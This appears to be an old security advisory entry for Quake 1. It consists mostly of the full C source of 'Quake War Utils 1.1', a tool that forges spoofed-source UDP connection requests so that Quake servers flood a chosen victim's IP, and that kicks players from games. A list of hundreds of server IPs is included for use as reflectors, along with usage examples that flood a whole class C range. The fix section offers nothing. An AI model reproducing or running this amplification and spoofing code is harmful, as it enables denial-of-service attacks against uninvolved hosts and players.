COMMAND
Quake
SYSTEMS AFFECTED
Quake
PROBLEM
Fabio Yamamoto posted following. It's Quake "smurf" from Quake
War Utils. This 'exploit' use the ugly Quake 1 UDP protocol.
When you send the 'conection Request' to the quake server, they
will reponse with tons of UDP's packets. And if the ip already
conected they will be kicked from the game.
Functions:
1) Flood a determined IP with game's data. Just Like a Smurf,
but better, because you just have to send a few bites and
the quake server Always will reponse with a lot of kbytes
(hundreds)....
2) KICK ANY PLAYER FROM THE GAME (QUAKE 1)
When Flooding, DONT flood the same ip twice, the second flood will
stop the first.
/*
Quake War Utils 1.1 - 1999 - By Sgi
fyy@hostname.org
IN THE END OF THIS FILE, THERE IS A QUAKE SERVER LIST
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <linux/if_ether.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <linux/if_arp.h>
#include <linux/ip.h>
char * readline ( int socket );
void usage ( char *arg0 );
int GetList ( char *host );
int ConnectTCP ( char *ip, int port );
int Makeshit ( char *host, int port,char *dest );
int FloodByFileServerList( char *file, char *dest );
struct player {
char name [32][255];
char ip [32][255];
int pos [32];
int count;
}player;
int ConnectTCP( char *ip, int port ) {
int sockfd;
struct sockaddr_in daddr;
struct hostent *he;
sockfd = socket( AF_INET,SOCK_STREAM,IPPROTO_TCP );
if ((he=gethostbyname(ip)) == NULL) {
printf("[%s] - Host nao encontrado\n",ip);
fflush(stdout);
return -1;
}
daddr.sin_family = AF_INET;
daddr.sin_port = htons( port );
daddr.sin_addr = *((struct in_addr *)he->h_addr);
if((connect(sockfd,(struct sockaddr *)&daddr, sizeof(struct sockaddr_in)))==-1){
return -1;
}
return sockfd;
}
char *readline( int socket ){
int i=0;
char temp;
char *temp01=(char *)malloc(512);
memset(temp01,0x00,512);
do{
if( read( socket , &temp ,1 ) <=0){
free(temp01);
return NULL;
}
if(temp!=0x0d && temp!=0x0a && temp!=' ')
temp01[i++]=temp;
}while(temp!=0x0a && i<512);
return temp01;
}
char *freadline( FILE *fp ){
int i=0;
char temp;
char *temp01=(char *)malloc(512);
memset(temp01,0x00,512);
do{
if(feof(fp)){
free(temp01);
return NULL;
}
if( fread( &temp ,1,1,fp ) <=0){
free(temp01);
return NULL;
}
if(temp!=0x0d && temp!=0x0a && temp!=' ')
temp01[i++]=temp;
}while(!feof(fp) && temp!=0x0a && i<512);
return temp01;
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int lenny = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (lenny > 1) {
sum += *w++;
sum += *w++;
lenny -= 2;
}
if (lenny == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
int Makeshit ( char *host, int port,char *dest )
{
int S1;
unsigned char buffer[1500];
unsigned char str[]={ 0x80,0x00,0x00,0x0C,0x01,0x51,0x55,0x41,0x4B,0x45,0x00,0x03 };
struct sockaddr_in sin;
struct hostent *he;
struct iphdr * ip = (struct iphdr *)&buffer[0];
struct udphdr * udp= (struct udphdr *)&buffer[sizeof(struct iphdr)];
char * data=&buffer[sizeof(struct iphdr)+sizeof(struct udphdr)];
memset( buffer, 0x00, 1500 );
if(host==NULL) return 0;
if(dest==NULL) return 0;
if((S1=socket(AF_INET,SOCK_RAW,255))==-1){
perror("socket");
exit(1);
}
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(str));
ip->id = random();
ip->ttl = 64;
ip->protocol= 17;
if ((he=gethostbyname(host)) == NULL) {
printf("[%s] - Host nao encontrado\n",host);
return 0;
}
memcpy(&ip->daddr, he->h_addr, he->h_length);
if ((he=gethostbyname(dest)) == NULL) {
printf("[%s] - Host nao encontrado\n",dest);
return 0;
}
memcpy(&ip->saddr, he->h_addr, he->h_length);
ip->check = in_cksum(&ip, sizeof(struct iphdr));
udp->source = htons(26000);
udp->dest = htons(port);
udp->len = htons(sizeof(struct udphdr)+sizeof(str));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip->daddr;
sin.sin_port = udp->dest;
memcpy( data, str, sizeof(str));
if((sendto(S1, buffer, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(str), 0,
(struct sockaddr*)&sin, sizeof(struct sockaddr)))==-1)
perror("sendto");
close(S1);
}
void main( int argc, char **argv )
{
int i;
char temp01[255];
printf("\nQuake WarUtils 1.1 - By Garage 1999 - Sgi");
printf("\n - Is the end of quake as we know it");
if( argc < 3 ){
usage( argv[0] );
exit(0);
}
if( strcmp( argv[1],"-d" ) ==0 ) {
Makeshit( argv[2], 26000, argv[3] );
}
if( strcmp( argv[1],"-k" ) ==0 ) {
GetList( argv[2] );
for(i=0;i<player.count;i++){
printf("\nIP: %s -> Going Down",player.ip[i]);
Makeshit( argv[2], 26000,player.ip[i] );
fflush(stdout);
}
}
if( strcmp( argv[1],"-l" ) ==0 ) {
GetList( argv[2] );
for(i=0;i<player.count;i++){
printf("\nIP: %s - %s",player.name[i],player.ip[i]);
fflush(stdout);
}
}
if( strcmp(argv[1],"-fF") == 0 ){
FloodByFileServerList( argv[3], argv[2] );
}
if( strcmp(argv[1],"-fFC") == 0 ){
for(i=1;i<255;i++){
snprintf(temp01,255,"%s.%d",argv[2],i);
printf("\nFlooding %s",temp01);
FloodByFileServerList( argv[3], temp01 );
fflush(stdout);
}
}
printf("\n");
}
int FloodByFileServerList( char *file, char *dest ){
char buffer [512];
char ip [255];
char * buf;
FILE * fp;
int i;
int port;
printf("\nSending packets to quake servers.\n");
if((fp=fopen(file,"r"))!=NULL){
do{
if((buf=freadline(fp))!=NULL){
if( strcmp( buf,"(null)" ) !=0 ){
if( strchr( buf,':' ) !=NULL ){
for(i=0;i<strlen(buf);i++){
if(buf[i]==':'){
memset( ip , 0x00 ,255);
strncpy( ip,buf,i );
port=atoi(&buf[i+1]);
printf(".");
Makeshit(ip,port,dest );
fflush(stdout);
break;
}
}
} else {
memset( ip , 0x00 ,255);
strncpy(ip,buf,255);
printf(".",ip,26000);
Makeshit(ip,26000,dest );
fflush(stdout);
}
free(buf);
}
}
}while(!feof(fp));
fclose( fp );
} else {
printf("\nImpossivel Abrir %s\n",file);
exit(0);
}
}
int GetList( char *host )
{
int S1;
int i;
int a;
struct sockaddr_in sin;
struct hostent * he2;
struct timeval tv;
fd_set fds;
unsigned char str[]={ 0x80,0x00,0x00,0x06,0x03,0x00 };
unsigned char buffer[5000];
if(host==NULL) return 0;
if ((S1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
return -1;
}
if ((he2=gethostbyname(host)) == NULL) {
perror( host );
return 0;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( 26000 );
sin.sin_addr = *((struct in_addr *)he2->h_addr);
connect(S1, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
for( i=0;i<16;i++ ){
str[5]=i;
write( S1, str, sizeof(str) );
}
player.count=0;
for( i=0;i<20;i++ ){
FD_ZERO ( &fds );
FD_SET ( S1, &fds );
tv.tv_sec = 3;
tv.tv_usec = 0;
if( select (S1 + 1, &fds, NULL, NULL, &tv) <=0 ){
break;
}
if(FD_ISSET (S1, &fds)){
if( read( S1, buffer, 5000 ) <=0){
break;
}
player.pos[player.count]=buffer[5];
strncpy( player.name[player.count], &buffer[6], 255 );
strncpy( player.ip[player.count], &buffer[strlen(&buffer[06])+19],255 );
for(a=0;a<255;a++){
if(player.ip[player.count][a]==':'){
player.ip[player.count][a]=0x00;
}
}
player.count++;
}
}
}
void usage( char *arg0 )
{
printf("\n\nFlood Utils: (like a smurf attack)");
printf("\n -fF <ip_victim> <Qservers_Ip_List_File> - Flood using a Filelist");
printf("\n -fFC <ip_victim> <Qservers_Ip_List_File> - Flood a Entire Class C");
printf("\nGame Cheat Utils");
printf("\n -d <quake_server_ip> <ip_victim> - KICK ip_victim of the game");
printf("\n -k <quake_server_ip> - KICK all players");
printf("\n -l <quake_server_ip> - List all players");
printf("\n");
printf("\nExamples:");
printf("\n%s -fF 66.69.66.69 ./my_list.txt",arg0);
printf("\n%s -fFC 66.69.66 ./my_list.txt",arg0);
printf("\n%s -d 200.211.222.33 66.69.66.69",arg0);
printf("\n%s -k 200.211.222.33",arg0);
printf("\n");
}
/* Quake Server list */
/*
128.130.167.11
128.138.149.30
128.163.161.105
128.2.237.78
128.2.74.204
128.210.1.32
128.52.39.161
129.15.3.38
129.16.30.88
129.186.121.53
129.89.124.118
130.18.148.24
130.225.226.37
130.233.18.145
130.233.34.217
130.236.249.227
130.237.191.38
130.237.233.111
130.240.195.72
130.241.142.10
130.63.74.16
130.89.224.162
131.215.88.72
132.230.153.50
132.230.63.23
132.235.176.61
134.147.141.98
134.184.26.55
134.193.111.241
136.159.102.88
137.138.93.253
137.226.116.82
137.238.168.77
137.46.177.61
139.174.243.161
140.142.110.20
140.82.20.5
143.236.122.227
143.236.55.131:26000
143.236.67.241
148.122.208.243
148.202.1.5
149.156.159.100
157.182.246.58
160.216.40.10
160.45.32.176
161.72.14.234
163.1.138.204
165.166.144.42
167.206.222.12
167.206.58.65
169.197.1.154
171.64.65.70
192.107.41.7
192.124.43.73
192.52.220.101
192.66.190.19
193.124.228.3
193.13.231.149
193.166.64.4
193.192.94.101
193.193.218.20
193.212.6.164
193.74.114.41
194.109.0.242
194.109.6.217
194.112.36.10
194.158.160.23
194.159.164.166
194.179.127.122
194.19.128.13
194.198.120.13
194.213.72.23
194.239.134.18
194.239.25.28
194.250.120.11
194.65.5.103
194.65.65.120
195.147.246.71
195.226.224.113
195.238.2.30
195.248.96.45
195.66.14.19
195.82.123.5
196.25.1.132
198.146.194.20
198.164.230.15
198.199.206.38
198.22.130.136
198.6.71.21
199.217.218.7
199.246.132.8
199.44.28.89
199.67.51.101
199.72.175.179
200.18.178.14
200.18.6.44
200.194.249.6
200.223.37.7
200.225.63.132
200.238.181.26
200.238.219.8
200.238.225.102
200.238.251.11
200.238.61.2
200.239.48.4
200.240.7.13
200.241.125.10
200.241.222.30
200.241.43.11
200.241.97.243
200.245.221.21
200.246.0.248
200.246.122.250
200.246.148.37
200.246.163.6
200.246.227.44
200.246.248.9
200.246.5.28
200.246.52.4
200.247.240.4
200.248.149.31
200.248.241.1
200.249.220.21
200.250.234.39
200.250.245.20
200.250.7.8
200.251.135.5
200.255.111.251
200.255.176.28
200.255.207.4
200.255.218.41
200.255.244.2
202.188.100.222
202.27.184.4
203.15.24.46
203.16.135.34
203.17.103.34
203.17.23.13
203.17.240.25
203.30.239.5
203.32.8.197
203.55.240.1
203.61.156.162
203.96.92.66
204.1.168.3
204.137.133.134
204.156.22.66
204.157.39.7
204.174.17.22
204.177.184.31
204.177.71.250
204.178.74.130
204.179.189.2
204.191.124.66
204.192.38.5
204.209.212.5
204.213.176.8
204.213.250.105
204.216.126.251
204.233.108.7
204.248.210.20
204.253.208.225
204.254.98.15
204.43.32.24
204.43.34.51
204.49.61.30
204.56.45.66
204.96.49.110
204.97.1.13
204.97.180.46
205.136.19.8
205.152.131.250
205.163.58.20
205.177.27.190
205.197.242.62
205.217.6.16
205.231.236.20
205.238.136.10
205.252.89.9
206.100.36.6
206.112.1.31
206.129.112.24
206.147.58.45
206.149.144.14
206.15.112.138
206.154.181.19
206.154.216.100
206.160.192.100
206.181.233.76
206.20.111.7
206.230.18.20
206.233.98.22
206.248.16.16
206.25.206.10
206.27.158.17
206.41.136.94
206.55.129.67
206.83.174.10
206.96.251.44
206.98.65.142
207.102.122.250
207.102.80.249
207.106.42.14
207.114.144.200
207.120.29.71
207.126.64.250
207.126.68.218
207.126.70.4
207.152.95.9
207.171.0.68
207.172.7.66
207.19.125.13
207.193.205.9
207.20.226.128
207.201.91.8
207.206.116.41
207.227.81.201
207.236.41.30
207.245.54.203
207.254.69.25
207.3.64.52
207.30.184.20
207.34.202.24
207.49.0.5
207.65.182.12
207.99.85.67
208.0.122.11
208.130.66.58
208.137.128.24
208.137.139.11
208.163.10.11
208.194.67.16
208.200.50.100
208.201.224.211
208.201.40.12
208.206.76.47
208.247.254.9
208.249.71.120
208.28.245.194
208.8.100.251
208.8.182.15
209.113.72.13
209.144.112.60
209.161.0.59
209.172.184.218
209.222.147.6
209.223.130.62
209.232.122.46
209.249.185.70
209.51.213.13
209.90.128.16
209.96.178.230
216.102.104.247
216.161.20.65
216.58.1.16
216.66.15.130
216.77.21.184
24.218.83.224
24.219.87.225
24.226.80.88
24.226.88.65
24.93.22.183
36.50.0.240
36.60.0.163
38.233.80.136
63.65.143.24
*/
SOLUTION
Nothing yet, but it's Quake 1, right?